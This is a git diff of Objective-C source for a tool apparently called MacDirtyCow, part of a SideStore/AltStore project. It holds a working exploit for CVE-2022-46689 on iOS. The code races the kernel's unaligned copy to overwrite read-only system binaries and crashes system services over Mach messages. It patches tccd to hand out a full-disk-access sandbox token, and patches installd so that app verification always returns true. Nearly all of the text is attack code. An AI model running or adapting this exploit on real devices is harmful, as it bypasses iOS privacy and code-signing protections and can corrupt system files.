void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = patchTCCD(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:5
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
completion(
|
||||
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:1
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
|
||||
@"not be vulnerable to CVE-2022-46689."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
|
||||
xpc_crasher("com.apple.tccd");
|
||||
sleep(1);
|
||||
call_tccd(^(NSString* _Nullable extension_token) {
|
||||
overwrite_file(fd, originalData);
|
||||
xpc_crasher("com.apple.tccd");
|
||||
NSError* returnError = nil;
|
||||
if (extension_token == nil) {
|
||||
returnError =
|
||||
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:2
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
|
||||
}];
|
||||
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||
returnError = [NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:3
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
|
||||
@"instead of an app sandbox token."
|
||||
}];
|
||||
extension_token = nil;
|
||||
}
|
||||
completion(extension_token, returnError);
|
||||
});
|
||||
}
|
||||
|
||||
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||
// class introduced in iOS 15.0.
|
||||
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:6
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey :
|
||||
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
|
||||
@"reverted after reboot, so running this may permanently corrupt tccd."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||
inDomains:NSUserDomainMask][0];
|
||||
NSURL* sourceURL =
|
||||
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
|
||||
NSError* error = nil;
|
||||
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
if (cachedToken) {
|
||||
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
|
||||
if (handle > 0) {
|
||||
// cached version worked
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
}
|
||||
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||
if (error) {
|
||||
completion(error);
|
||||
return;
|
||||
}
|
||||
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
|
||||
if (handle <= 0) {
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:4
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
|
||||
return;
|
||||
}
|
||||
[extension_token writeToURL:sourceURL
|
||||
atomically:true
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
completion(nil);
|
||||
});
|
||||
}
|
||||
|
||||
/// MARK - installd patch
|
||||
|
||||
struct installd_remove_app_limit_offsets {
|
||||
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||
uint64_t offset_data_const_end_padding;
|
||||
// MIUninstallRecord::supportsSecureCoding
|
||||
uint64_t offset_return_true;
|
||||
};
|
||||
|
||||
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
|
||||
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||
.offset_data_const_end_padding = 0x79c38,
|
||||
.offset_return_true = 0x19860,
|
||||
};
|
||||
|
||||
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
|
||||
size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
if ((val & 0xfffffffful) != str_file_offset) {
|
||||
continue;
|
||||
}
|
||||
// baseMethods
|
||||
if (*(uint64_t*)(executable_map + i + 8) != 0) {
|
||||
return i + 8;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
|
||||
// mov w0, #1
|
||||
// ret
|
||||
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
}
|
||||
|
||||
static bool patchfind_installd(void* executable_map, size_t executable_length,
|
||||
struct installd_remove_app_limit_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
|
||||
"MIInstallableBundle")) == 0) {
|
||||
printf("no MIInstallableBundle class_rw_t\n");
|
||||
return false;
|
||||
}
|
||||
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||
(*(uint64_t*)(executable_map +
|
||||
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||
0xffffffull;
|
||||
|
||||
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
|
||||
0) {
|
||||
printf("no return true\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
struct objc_method {
|
||||
int32_t name;
|
||||
int32_t types;
|
||||
int32_t imp;
|
||||
};
|
||||
|
||||
struct objc_method_list {
|
||||
uint32_t entsizeAndFlags;
|
||||
uint32_t count;
|
||||
struct objc_method methods[];
|
||||
};
|
||||
|
||||
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||
uint64_t new_offset, uint64_t* out_copied_length,
|
||||
void (^callback)(const char* sel,
|
||||
uint64_t* inout_function_pointer)) {
|
||||
struct objc_method_list* original_list = mutableBytes + old_offset;
|
||||
struct objc_method_list* new_list = mutableBytes + new_offset;
|
||||
*out_copied_length =
|
||||
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
|
||||
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
|
||||
new_list->count = original_list->count;
|
||||
for (int method_index = 0; method_index < original_list->count; method_index++) {
|
||||
struct objc_method* method = &original_list->methods[method_index];
|
||||
// Relative pointers
|
||||
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
|
||||
uint64_t types_file_offset =
|
||||
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
|
||||
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
|
||||
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
|
||||
callback(sel, &imp_file_offset);
|
||||
|
||||
struct objc_method* new_method = &new_list->methods[method_index];
|
||||
new_method->name = (int32_t)((int64_t)name_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
|
||||
new_method->types = (int32_t)((int64_t)types_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
|
||||
new_method->imp = (int32_t)((int64_t)imp_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
|
||||
}
|
||||
};
|
||||
|
||||
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
|
||||
struct installd_remove_app_limit_offsets offsets = {};
|
||||
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||
uint64_t copied_size = 0;
|
||||
uint64_t new_method_list_offset = current_empty_space;
|
||||
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||
current_empty_space, &copied_size,
|
||||
^(const char* sel, uint64_t* inout_address) {
|
||||
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||
return;
|
||||
}
|
||||
*inout_address = offsets.offset_return_true;
|
||||
});
|
||||
current_empty_space += copied_size;
|
||||
((struct
|
||||
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
|
||||
->target = new_method_list_offset;
|
||||
return data;
|
||||
}
|
||||
|
||||
bool patch_installd() {
|
||||
const char* targetPath = "/usr/libexec/installd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = make_patch_installd(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
NSLog(@"can't patchfind");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
NSLog(@"can't overwrite");
|
||||
return false;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
xpc_crasher("com.apple.mobile.installd");
|
||||
sleep(1);
|
||||
|
||||
// TODO(zhuowei): for now we revert it once installd starts
|
||||
// so the change will only last until when this installd exits
|
||||
overwrite_file(fd, originalData);
|
||||
return true;
|
||||
}
|
||||
20
MacDirtyCow/helpers.h
Normal file
20
MacDirtyCow/helpers.h
Normal file
@@ -0,0 +1,20 @@
|
||||
//
|
||||
// helpers.h
|
||||
// AltStore
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef helpers_h
|
||||
#define helpers_h
|
||||
|
||||
char* get_temp_file_path(void);
|
||||
void test_nsexpressions(void);
|
||||
char* set_up_tmp_file(void);
|
||||
|
||||
void xpc_crasher(char* service_name);
|
||||
|
||||
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||
|
||||
#endif /* helpers_h */
|
||||
138
MacDirtyCow/helpers.m
Normal file
138
MacDirtyCow/helpers.m
Normal file
@@ -0,0 +1,138 @@
|
||||
//
|
||||
// helpers.m
|
||||
// MacDirtyCow
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <dirent.h>
|
||||
|
||||
char* get_temp_file_path(void) {
|
||||
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||
}
|
||||
|
||||
// create a read-only test file we can target:
|
||||
char* set_up_tmp_file(void) {
|
||||
char* path = get_temp_file_path();
|
||||
printf("path: %s\n", path);
|
||||
|
||||
FILE* f = fopen(path, "w");
|
||||
if (!f) {
|
||||
printf("opening the tmp file failed...\n");
|
||||
return NULL;
|
||||
}
|
||||
char* buf = malloc(PAGE_SIZE*10);
|
||||
memset(buf, 'A', PAGE_SIZE*10);
|
||||
fwrite(buf, PAGE_SIZE*10, 1, f);
|
||||
//fclose(f);
|
||||
return path;
|
||||
}
|
||||
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||
|
||||
struct xpc_w00t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
mach_port_t get_send_once(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right extraction failed: %s\n", mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
|
||||
return so;
|
||||
}
|
||||
|
||||
// copy-pasted from an exploit I wrote in 2019...
|
||||
// still works...
|
||||
|
||||
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||
|
||||
void xpc_crasher(char* service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if(err != KERN_SUCCESS){
|
||||
printf("unable to look up %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("bad service port\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// allocate the client and reply port:
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_send_once(client_port);
|
||||
mach_port_t so1 = get_send_once(client_port);
|
||||
|
||||
// insert a send so we maintain the ability to send to this port
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right insertion failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = service_port;
|
||||
msg.hdr.msgh_id = 'w00t';
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.client_port.name = client_port;
|
||||
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.reply_port.name = reply_port;
|
||||
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("w00t message send failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
} else {
|
||||
printf("sent xpc w00t message\n");
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), so0);
|
||||
mach_port_deallocate(mach_task_self(), so1);
|
||||
|
||||
return;
|
||||
}
|
||||
20
MacDirtyCow/vm_unaligned_copy_switch_race.h
Normal file
20
MacDirtyCow/vm_unaligned_copy_switch_race.h
Normal file
@@ -0,0 +1,20 @@
|
||||
//
|
||||
// vm_unaligned_copy_switch_race.h
|
||||
// AltStore
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef vm_unaligned_copy_switch_race_h
|
||||
#define vm_unaligned_copy_switch_race_h
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
|
||||
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
|
||||
|
||||
#endif /* vm_unaligned_copy_switch_race_h */
|
||||
370
MacDirtyCow/vm_unaligned_copy_switch_race.m
Normal file
370
MacDirtyCow/vm_unaligned_copy_switch_race.m
Normal file
@@ -0,0 +1,370 @@
|
||||
//
|
||||
// vm_unaligned_copy_switch_race.m
|
||||
// MacDirtyCow
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
|
||||
// modified to compile outside of XNU
|
||||
|
||||
#include <pthread.h>
|
||||
#include <dispatch/dispatch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include "vm_unaligned_copy_switch_race.h"
|
||||
|
||||
#define T_QUIET
|
||||
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||
#define T_EXPECT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
|
||||
#define T_ASSERT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_POSIX_SUCCESS(a, b)
|
||||
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_TRUE(a, b, ...)
|
||||
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
#define T_DECL(a, b) static void a(void)
|
||||
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
|
||||
struct context1 {
|
||||
vm_size_t obj_size;
|
||||
vm_address_t e0;
|
||||
mach_port_t mem_entry_ro;
|
||||
mach_port_t mem_entry_rw;
|
||||
dispatch_semaphore_t running_sem;
|
||||
pthread_mutex_t mtx;
|
||||
volatile bool done;
|
||||
};
|
||||
|
||||
static void *
|
||||
switcheroo_thread(__unused void *arg)
|
||||
{
|
||||
kern_return_t kr;
|
||||
struct context1 *ctx;
|
||||
|
||||
ctx = (struct context1 *)arg;
|
||||
/* tell main thread we're ready to run */
|
||||
dispatch_semaphore_signal(ctx->running_sem);
|
||||
while (!ctx->done) {
|
||||
/* wait for main thread to be done setting things up */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
if (ctx->done) {
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
break;
|
||||
}
|
||||
/* switch e0 to RW mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_rw,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
/* switch bakc to original RO mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||
/* tell main thread we're don switching mappings */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
usleep(100);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
|
||||
bool retval = false;
|
||||
pthread_t th = NULL;
|
||||
int ret;
|
||||
kern_return_t kr;
|
||||
time_t start, duration;
|
||||
#if 0
|
||||
mach_msg_type_number_t cow_read_size;
|
||||
#endif
|
||||
vm_size_t copied_size;
|
||||
int loops;
|
||||
vm_address_t e2, e5;
|
||||
struct context1 context1, *ctx;
|
||||
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||
vm_address_t ro_addr, tmp_addr;
|
||||
memory_object_size_t mo_size;
|
||||
|
||||
ctx = &context1;
|
||||
ctx->obj_size = 256 * 1024;
|
||||
|
||||
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
|
||||
if (file_mapped == MAP_FAILED) {
|
||||
fprintf(stderr, "failed to map\n");
|
||||
return false;
|
||||
}
|
||||
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
|
||||
fprintf(stderr, "already the same?\n");
|
||||
munmap(file_mapped, ctx->obj_size);
|
||||
return true;
|
||||
}
|
||||
ro_addr = (vm_address_t)file_mapped;
|
||||
|
||||
ctx->e0 = 0;
|
||||
ctx->running_sem = dispatch_semaphore_create(0);
|
||||
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
|
||||
ret = pthread_mutex_init(&ctx->mtx, NULL);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||
ctx->done = false;
|
||||
ctx->mem_entry_rw = MACH_PORT_NULL;
|
||||
ctx->mem_entry_ro = MACH_PORT_NULL;
|
||||
#if 0
|
||||
/* allocate our attack target memory */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&ro_addr,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||
/* initialize to 'A' */
|
||||
memset((char *)ro_addr, 'A', ctx->obj_size);
|
||||
#endif
|
||||
|
||||
/* make it read-only */
|
||||
kr = vm_protect(mach_task_self(),
|
||||
ro_addr,
|
||||
ctx->obj_size,
|
||||
TRUE, /* set_maximum */
|
||||
VM_PROT_READ);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||
/* make sure we can't get read-write handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_ro,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||
/* take read-only handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||
&ctx->mem_entry_ro,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
/* make sure we can't map target memory as writable */
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
|
||||
/* allocate a source buffer for the unaligned copy */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e5,
|
||||
ctx->obj_size * 2,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||
/* initialize to 'C' */
|
||||
memset((char *)e5, 'C', ctx->obj_size * 2);
|
||||
|
||||
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
|
||||
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
|
||||
|
||||
int overwrite_first_diff_offset = -1;
|
||||
char overwrite_first_diff_value = 0;
|
||||
for (int off = 0; off < overwrite_length; off++) {
|
||||
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||
overwrite_first_diff_offset = off;
|
||||
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||
}
|
||||
}
|
||||
if (overwrite_first_diff_offset == -1) {
|
||||
fprintf(stderr, "no diff?\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
/*
|
||||
* get a handle on some writable memory that will be temporarily
|
||||
* switched with the read-only mapping of our target memory to try
|
||||
* and trick copy_unaligned to write to our read-only target.
|
||||
*/
|
||||
tmp_addr = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||
/* initialize to 'D' */
|
||||
memset((char *)tmp_addr, 'D', ctx->obj_size);
|
||||
/* get a memory entry handle for that RW memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
tmp_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_rw,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||
tmp_addr = 0;
|
||||
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
|
||||
/* start racing thread */
|
||||
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
|
||||
